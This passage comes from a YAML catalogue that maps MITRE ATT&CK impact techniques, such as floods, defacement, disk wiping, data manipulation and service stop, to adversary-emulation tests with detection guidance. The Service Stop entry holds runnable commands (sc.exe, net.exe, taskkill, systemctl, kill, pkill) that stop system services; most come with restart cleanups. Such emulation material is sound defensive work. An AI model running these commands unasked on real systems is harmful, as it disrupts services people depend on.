FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017. url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html - source_name: Kaspersky StoneDrill 2017 description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.' url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf - source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon - source_name: Symantec Shamoon 2012 description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019. url: https://www.symantec.com/connect/blogs/shamoon-attacks object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1498.001: technique: modified: '2023-05-09T14:00:00.188Z' name: Direct Network Flood description: |- Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: 'Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Sensor Health: Host Status' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3 created: '2020-03-02T20:07:18.651Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1498/001 external_id: T1498.001 - source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - source_name: USNYAG IranianBotnet March 2016 description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1491.002: technique: x_mitre_platforms: - Windows - IaaS - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3 type: attack-pattern created: '2020-02-20T14:34:08.496Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1491.002 url: https://attack.mitre.org/techniques/T1491/002 - source_name: FireEye Cyber Threats to Media Industries url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf description: FireEye. (n.d.). Retrieved April 19, 2019. - source_name: Kevin Mandia Statement to US Senate Committee on Intelligence url: https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf description: Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019. - source_name: Anonymous Hackers Deface Russian Govt Site url: https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/ description: Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019. - source_name: Trend Micro Deep Dive Into Defacement url: https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf description: 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.' modified: '2022-05-11T14:00:00.188Z' name: External Defacement description: 'An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' - 'File: File Modification' - 'File: File Creation' - 'Network Traffic: Network Traffic Content' x_mitre_impact_type: - Integrity spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1499.001: technique: modified: '2023-05-09T14:00:00.188Z' name: OS Exhaustion Flood description: |- Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood) ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: 'Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Sensor Health: Host Status' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7 created: '2020-02-20T15:27:18.581Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1499/001 external_id: T1499.001 - source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - source_name: Cloudflare SynFlood description: Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019. url: https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ - source_name: Corero SYN-ACKflood description: Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019. url: https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html - source_name: Arbor AnnualDoSreport Jan 2018 description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1499.003: technique: x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9 type: attack-pattern created: '2020-02-20T15:35:00.025Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1499.003 url: https://attack.mitre.org/techniques/T1499/003 - source_name: Arbor AnnualDoSreport Jan 2018 url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. - source_name: Cisco DoSdetectNetflow url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. modified: '2022-05-11T14:00:00.188Z' name: Application Exhaustion Flood description: 'Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: |- Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Sensor Health: Host Status' - 'Application Log: Application Log Content' x_mitre_impact_type: - Availability spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1561: technique: modified: '2023-05-09T14:00:00.188Z' name: Disk Wipe description: |- Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted. To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware) On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: 'Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Driver: Driver Load' - 'Drive: Drive Access' - 'Command: Command Execution' - 'Drive: Drive Modification' - 'Process: Process Creation' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967 created: '2020-02-20T22:02:20.372Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1561 external_id: T1561 - source_name: erase_cmd_cisco description: Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463 - source_name: Novetta Blockbuster Destructive Malware description: 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.' url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf - source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1565.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292 created: '2020-03-02T14:22:24.410Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1565.001 url: https://attack.mitre.org/techniques/T1565/001 - source_name: DOJ Lazarus Sony 2018 url: https://www.justice.gov/opa/press-release/file/1092091/download description: Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. - source_name: FireEye APT38 Oct 2018 url: https://content.fireeye.com/apt/rpt-apt38 description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.' x_mitre_deprecated: false revoked: false description: |- Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Stored Data Manipulation x_mitre_detection: Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'File: File Deletion' x_mitre_impact_type: - Integrity x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1489: technique: x_mitre_platforms: - Windows - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b created: '2019-03-29T19:00:55.901Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1489 url: https://attack.mitre.org/techniques/T1489 - source_name: SecureWorks WannaCry Analysis url: https://www.secureworks.com/research/wcry-ransomware-analysis description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019. - source_name: Talos Olympic Destroyer 2018 url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. - source_name: Novetta Blockbuster url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf description: 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.' x_mitre_deprecated: false revoked: false description: "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)" modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Service Stop x_mitre_detection: |- Monitor processes and command-line arguments to see if critical processes are terminated or stop running. Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links. Alterations to the service binary path or the service startup type changed to disabled may be suspicious. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Process: Process Creation' - 'Process: Process Termination' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'File: File Modification' - 'Process: OS API Execution' - 'Service: Service Metadata' x_mitre_impact_type: - Availability x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1489 atomic_tests: - name: Windows - Stop service using Service Controller auto_generated_guid: 21dfb440-830d-4c86-a3e5-2a491d5a8d04 description: | Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying it has changed to a state of STOP_PENDING. If the spooler service was not running "The service has not been started." will be displayed and it can be started by running the cleanup command. supported_platforms: - windows input_arguments: service_name: description: Name of a service to stop type: string default: spooler executor: command: 'sc.exe stop #{service_name} ' cleanup_command: 'sc.exe start #{service_name} >nul 2>&1 ' name: command_prompt elevation_required: true - name: Windows - Stop service using net.exe auto_generated_guid: 41274289-ec9c-4213-bea4-e43c4aa57954 description: | Stops a specified service using the net.exe command. Upon execution, if the service was running "The Print Spooler service was stopped successfully." will be displayed. If the service was not running, "The Print Spooler service is not started." will be displayed and it can be started by running the cleanup command. supported_platforms: - windows input_arguments: service_name: description: Name of a service to stop type: string default: spooler executor: command: 'net.exe stop #{service_name} ' cleanup_command: 'net.exe start #{service_name} >nul 2>&1 ' name: command_prompt elevation_required: true - name: Windows - Stop service by killing process auto_generated_guid: f3191b84-c38b-400b-867e-3a217a27795f description: | Stops a specified service killng the service's process. This technique was used by WannaCry. Upon execution, if the spoolsv service was running "SUCCESS: The process "spoolsv.exe" with PID 2316 has been terminated." will be displayed. If the service was not running "ERROR: The process "spoolsv.exe" not found." will be displayed and it can be started by running the cleanup command. supported_platforms: - windows input_arguments: process_name: description: Name of a process to kill type: string default: spoolsv.exe executor: command: 'taskkill.exe /f /im #{process_name} ' name: command_prompt - name: Linux - Stop service using systemctl auto_generated_guid: 42e3a5bd-1e45-427f-aa08-2a65fa29a820 description: | Stops a specified service using the systemctl command. Upon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service" supported_platforms: - linux input_arguments: service_name: description: Name of a service to stop type: string default: cron executor: command: 'sudo systemctl stop #{service_name} ' cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null ' name: sh elevation_required: true - name: Linux - Stop service by killing process using killall auto_generated_guid: e5d95be6-02ee-4ff1-aebe-cf86013b6189 description: | Stops a specified service by sending a SIGTERM signal to the linked process using the killall command. Upon execution, if the service's main process was running, it will be terminated. If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service" supported_platforms: - linux input_arguments: process_name: description: Name of a process to stop type: string default: cron service_name: description: Name of a service to restart type: string default: cron executor: command: 'sudo killall -SIGTERM #{process_name} ' cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null ' name: sh elevation_required: true - name: Linux - Stop service by killing process using kill auto_generated_guid: 332f4c76-7e96-41a6-8cc2-7361c49db8be description: | Stops a specified service by sending a SIGTERM signal to the linked process using the kill command. Upon execution, if the service's main process was running, it will be terminated. If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service" supported_platforms: - linux input_arguments: process_name: description: Name of a process to kill type: string default: cron service_name: description: Name of a service to restart type: string default: cron executor: command: 'sudo kill -SIGTERM $(pgrep #{process_name}) ' cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null ' name: sh elevation_required: true - name: Linux - Stop service by killing process using pkill auto_generated_guid: '08b4718f-a8bf-4bb5-a552-294fc5178fea' description: | Stops a specified service by sending a SIGTERM signal to the linked process using pkill. This method is effective when multiple instances of the process may be running. Upon execution, if any instances of the process were running, they will be terminated. If no instances were running, pkill will not find any processes to kill. Stopped service can be restarted by running the cleanup command. You can list all available services with following command: "systemctl list-units --type=service" supported_platforms: - linux input_arguments: process_pattern: description: Pattern to match the name of the process to kill type: string default: "^cron$" service_name: description: Name of a service to restart type: string default: cron executor: command: 'sudo pkill -SIGTERM #{process_pattern} ' cleanup_command: 'sudo systemctl start #{service_name} 2> /dev/null ' name: sh elevation_required: true T1499.004: technique: x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0 type: attack-pattern created: '2020-02-20T15:37:27.052Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1499.004 url: https://attack.mitre.org/techniques/T1499/004 - source_name: Sucuri BIND9 August 2015 url: https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html description: Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019. modified: '2022-05-11T14:00:00.188Z' name: Application or System Exploitation description: "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS. x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Sensor Health: Host Status' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_impact_type: - Availability spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1565.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490 type: attack-pattern created: '2020-03-02T14:30:05.252Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1565.003 url: https://attack.mitre.org/techniques/T1565/003 - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.' url: https://content.fireeye.com/apt/rpt-apt38 source_name: FireEye APT38 Oct 2018 - source_name: DOJ Lazarus Sony 2018 url: https://www.justice.gov/opa/press-release/file/1092091/download description: Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. modified: '2022-05-11T14:00:00.188Z' name: Runtime Data Manipulation description: |- Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'File: File Deletion' - 'Process: OS API Execution' - 'File: File Metadata' - 'File: File Creation' x_mitre_impact_type: - Integrity x_mitre_permissions_required: - User - Administrator - root - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1498.002: technique: modified: '2023-03-30T21:01:41.052Z' name: Reflection Amplification description: |- Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This 